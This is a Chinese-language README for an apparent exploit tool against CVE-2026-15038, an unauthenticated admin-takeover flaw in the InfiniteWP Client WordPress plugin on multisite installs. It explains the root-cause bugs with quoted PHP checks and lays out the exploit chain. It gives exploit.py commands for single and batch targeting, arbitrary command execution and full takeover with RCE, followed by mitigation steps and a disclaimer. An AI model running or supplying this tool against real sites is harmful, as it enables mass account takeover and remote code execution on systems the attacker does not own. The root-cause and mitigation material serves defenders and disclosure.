🚨 CVE-2026-15038 — InfiniteWP Client 管理员接管

WordPress 多站点中未经身份验证的管理员账户接管

📋 概述

WordPress 的 InfiniteWP Client 插件（< 1.13.6）存在一个影响 多站点安装 的严重身份验证绕过漏洞。

未经过身份验证的攻击者可以：

• 🔓 绕过所有身份验证检查
• 🔑 绑定自己的加密密钥
• 👑 接管管理员会话
• 💻 实现远程代码执行 (RCE)
• 🌐 入侵整个 WordPress 网络

🔍 根本原因分析

🐛 漏洞 #1：连接状态不匹配

if (!$iwp_mmb_core->get_option('iwp_client_action_message_id') 
    && !$iwp_mmb_core->get_option('iwp_client_public_key'))

• 读取器：使用 get_site_option() → 从网络级（wp_sitemeta）读取
• 写入器：使用 update_blog_option() → 写入每个博客（wp_X_options）

💥 结果：在多站点环境下，该防护检查始终返回 false — 始终允许重新配对。

🐛 漏洞 #2：激活密钥绕过

if(trim($activation_key) != get_option('iwp_client_activate_key')){

• 激活后，密钥被删除 → get_option() 返回 false
• 攻击者 不 发送 activation_key → trim(null) → ''
• PHP 松散比较：'' != false → false → 检查通过 🎯

🐛 漏洞 #3：攻击者控制的密钥对

• 攻击者生成自己的 RSA 密钥对
• 自行签署请求 → openssl_verify() 通过
• 插件将攻击者的密钥绑定到网络中的 所有 博客

🚀 利用链

graph LR
    A[Send POST Request] --> B[Add Site Action]
    B --> C[Guard Bypassed]
    C --> D[Activation Key Check Fails]
    D --> E[Signature Verifies]
    E --> F[Attacker Key Bound]
    F --> G[Full Admin Access]
    G --> H[RCE Achieved]

💻 安装

# Clone the repository
git clone https://github.com/yourusername/CVE-2026-15038.git
cd CVE-2026-15038

# Install dependencies
pip install -r requirements.txt

🎯 使用方法

基本单目标

python3 exploit.py -t https://wordpress.ddev.site

批量利用

python3 exploit.py -t https://target1.com -t https://target2.com -t https://target3.com

自定义命令执行

python3 exploit.py -t https://wordpress.ddev.site --command "wp plugin install hello-dolly --activate"

完整攻击链

python3 exploit.py -t https://wordpress.ddev.site --takeover --rce

📂 文件结构

⚠️ 重要说明

• ✅ 适用于 WordPress 多站点 安装
• ❌ 对单站点安装 无效
• 🔒 已在 InfiniteWP Client 1.13.6 中修复
• 🔐 始终更新到最新版本

🛡️ 缓解措施

1. 立即行动：更新至 InfiniteWP Client ≥ 1.13.6
2. 验证：检查是否存在可疑的管理员用户
3. 审计：审查日志中最近的 add_site 请求
4. 监控：留意异常的插件活动

🔗 资源

• NVD 条目
• WPScan 公告

⚖️ 免责声明

此工具仅用于 教育和安全测试目的。请仅在您拥有或已获得明确测试授权的系统上使用。作者对滥用行为不承担任何责任。